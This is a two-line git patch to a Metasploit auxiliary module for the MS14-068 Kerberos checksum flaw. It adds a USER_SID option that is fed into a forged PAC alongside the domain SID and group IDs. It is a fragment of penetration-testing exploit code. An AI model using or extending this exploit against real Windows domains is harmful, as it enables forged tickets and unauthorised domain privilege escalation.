From 708cbd7b659d3c37e794904871c63f1a1cb33f1c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 22 Dec 2014 18:24:50 -0600 Subject: [PATCH] Allow to provide USER SID --- modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb b/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb index ec32e5ed6d..7cc47b5e6c 100644 --- a/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb +++ b/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb @@ -44,6 +44,7 @@ class Metasploit4 < Msf::Auxiliary register_options( [ OptString.new('USER', [ true, 'The Domain User' ]), + OptInt.new('USER_SID', [ true, 'The Domain User SID, Ex: 1000']), OptString.new('PASSWORD', [ true, 'The Domain User password' ]), OptString.new('DOMAIN', [ true, 'The Domain Ex: DEMO.LOCAL' ]), OptString.new('DOMAIN_SID', [ true, 'The Domain SID Ex: S-1-5-21-1755879683-3641577184-3486455962' ]) @@ -97,6 +98,7 @@ class Metasploit4 < Msf::Auxiliary client_name: datastore['USER'], group_ids: groups, domain_id: datastore['DOMAIN_SID'], + user_id: datastore['USER_SID'], realm: datastore['DOMAIN'], logon_time: logon_time, checksum_type: Rex::Proto::Kerberos::Crypto::RSA_MD5